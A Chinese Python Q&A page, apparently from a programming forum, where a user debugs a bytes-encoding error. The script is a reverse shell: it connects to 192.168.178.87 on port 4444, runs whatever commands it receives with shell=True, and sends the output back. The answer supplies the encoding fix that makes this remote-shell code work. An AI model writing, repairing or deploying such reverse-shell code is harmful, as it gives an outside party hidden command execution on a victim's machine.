raise TypeError('在Windows上不允许使用字节参数')

2024-04-25 00:55:53 发布

您现在位置:Python中文网/ 问答频道 /正文

我试图在python3上的远程pc上使用windows系统命令,但它似乎不起作用。 当我尝试键入“dir”以列出远程pc上的命令时,我的windows终端出现异常

raise TypeError('bytes args is not allowed on Windows') 

我知道我需要把它转换成字节,我猜?但是如何使用变量来实现这一点呢

import socket
import subprocess

def execute_system_command(command):
    return subprocess.check_output(command, shell=True)

connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect(("192.168.178.87", 4444))

connection.send(b"\n[+] Connection established.\n")

command = connection.recv(1024)
command_result = execute_system_command(command)
connection.send(b(command_result))

connection.close()

Tags: importsendexecute键入远程windowssocketresult
1条回答
网友
1楼 · 发布于 2024-04-25 00:55:53

尝试编码然后解码命令:

output = "\n[+]Connection established\n"

connection.sendall(output.encode('utf-8'))

然后:

command_result = execute_system_command(command.decode('utf-8'))
connection.send(command_result)

相关问题 更多 >